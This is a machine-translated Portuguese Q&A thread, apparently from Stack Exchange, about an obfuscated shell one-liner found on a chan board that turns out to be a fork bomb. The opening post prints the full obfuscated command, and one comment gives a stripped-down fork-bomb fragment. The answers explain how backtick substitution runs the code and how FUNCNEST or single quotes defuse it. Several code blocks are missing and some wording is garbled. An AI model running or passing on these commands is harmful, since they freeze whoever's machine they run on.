Encontrado em um quadro aleatório de canais:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
De alguma forma, executar isso resulta em um processo infinitamente reprodutivo, que corre desenfreado e paralisa a máquina. Eu vejo algo sobre "su" tentando ser executado várias vezes.
..que é estranho, porque eu apenas esperaria que o texto fosse produzido, não a execução de nada.
A execução desse texto por meio de um decodificador on-line me fornece um lote de spew binário:
O que essa bagunça de texto está realmente fazendo e existe uma maneira de visualizá-la "com segurança"?
Respostas:
Primeiro, vamos olhar para o comando inteiro:
Ele contém uma sequência de aspas duplas que é ecoada
uudecode
. Mas observe que, dentro da cadeia de caracteres entre aspas duplas, existe uma cadeia de aspas . Esta cadeia é executada . A cadeia é:Se olharmos para o que está nele, vemos três comandos:
Executando expansão de chave no comando do meio, temos:
A primeira linha tenta executar um comando sem sentido em segundo plano. Isso não é importante.
A segunda linha é importante: define uma função
r
que, quando executada, lança duas cópias de si mesma. É claro que cada uma dessas cópias lançaria mais duas cópias. E assim por diante.A terceira linha corre
r
, iniciando a bomba do garfo.O restante do código, fora da sequência de aspas anteriores, é apenas um absurdo para ofuscação.
Como executar o comando com segurança
Esse código pode ser executado com segurança se definirmos o limite no nível de aninhamento de funções. Isso pode ser feito com a
FUNCNEST
variável do bash . Aqui, configuramos para2
e isso interrompe a recursão:As mensagens de erro acima mostram que (a) os comandos sem sentido
rYWdl
eY29j
não são encontrados, (b) a bomba de forqueta é interrompida repetidamente pelo FUNCNEST e (c) a saída deecho
não inicia combegin
e, consequentemente, não é uma entrada válida parauudecode
.A bomba dos garfos na sua forma mais simples
Como seria a bomba dos garfos se removêssemos a obscuridade? Como o njzk2 e o gerrit sugerem, seria semelhante a:
Podemos simplificar ainda mais isso:
Isso consiste em duas declarações: uma define a função fork-bomb
r
e a segunda é executadar
.Todo o outro código, incluindo o canal para
uudecode
, estava lá apenas por obscurecimento e desvio de direção.A forma original tinha mais uma camada de orientação incorreta
O OP forneceu um link para a discussão do quadro de canais em que esse código apareceu. Conforme apresentado lá, o código parecia:
Observe um dos primeiros comentários sobre esse código:
No formulário no quadro do canal, alguém poderia pensar ingenuamente que o problema seria a
eval
declaração que opera na saída deuudecode
. Isso levaria a pensar que a remoçãoeval
resolveria o problema. Como vimos acima, isso é falso e perigosamente verdadeiro.fonte
uudecode
é completamente irrelevante aqui. Por um momento, pensei queuudecode
estava executando uma interpolação de cordas com aspas retroativas, o que a tornaria fundamentalmente insegura, mas a bomba de forquilha acontece antes do código de uud começar.&
aí:echo "`r()(r&r);r`"
.Para responder à segunda parte da sua pergunta:
Para desativar essa sequência, substitua as aspas duplas externas por aspas simples e escape das aspas simples que ocorrem dentro da sequência. Assim, o shell não executará nenhum código e você está passando tudo diretamente para
uudecode
:Outras alternativas são apontadas nos comentários:
Kasperd sugeriu :
Jacob Krall sugeriu o uso de um editor de texto, cole o conteúdo e passe esse arquivo para o uudecode.
fonte
uudecode
na linha de comandos. Pressione Enter. Copie e cole a sequência a ser decodificada.uudecode
.echo "foo`die`bar'`die`'baz"
primeira! Ou seja, se houver algum'
s, substituir as aspas por aspas simples não será suficiente.À primeira vista, você pode pensar que a saída para o shell nunca será executada . Isso ainda é verdade . O problema já está na entrada . O principal truque aqui é o que os programadores chamam de precedência do operador . Esta é a ordem em que o shell tenta processar sua entrada:
O erro é pensar que esse
echo
seria o primeiro comando a ser executado,uudecode
o segundo. Ambos nunca serão alcançados.Conclusão: aspas duplas são sempre perigosas no shell.
fonte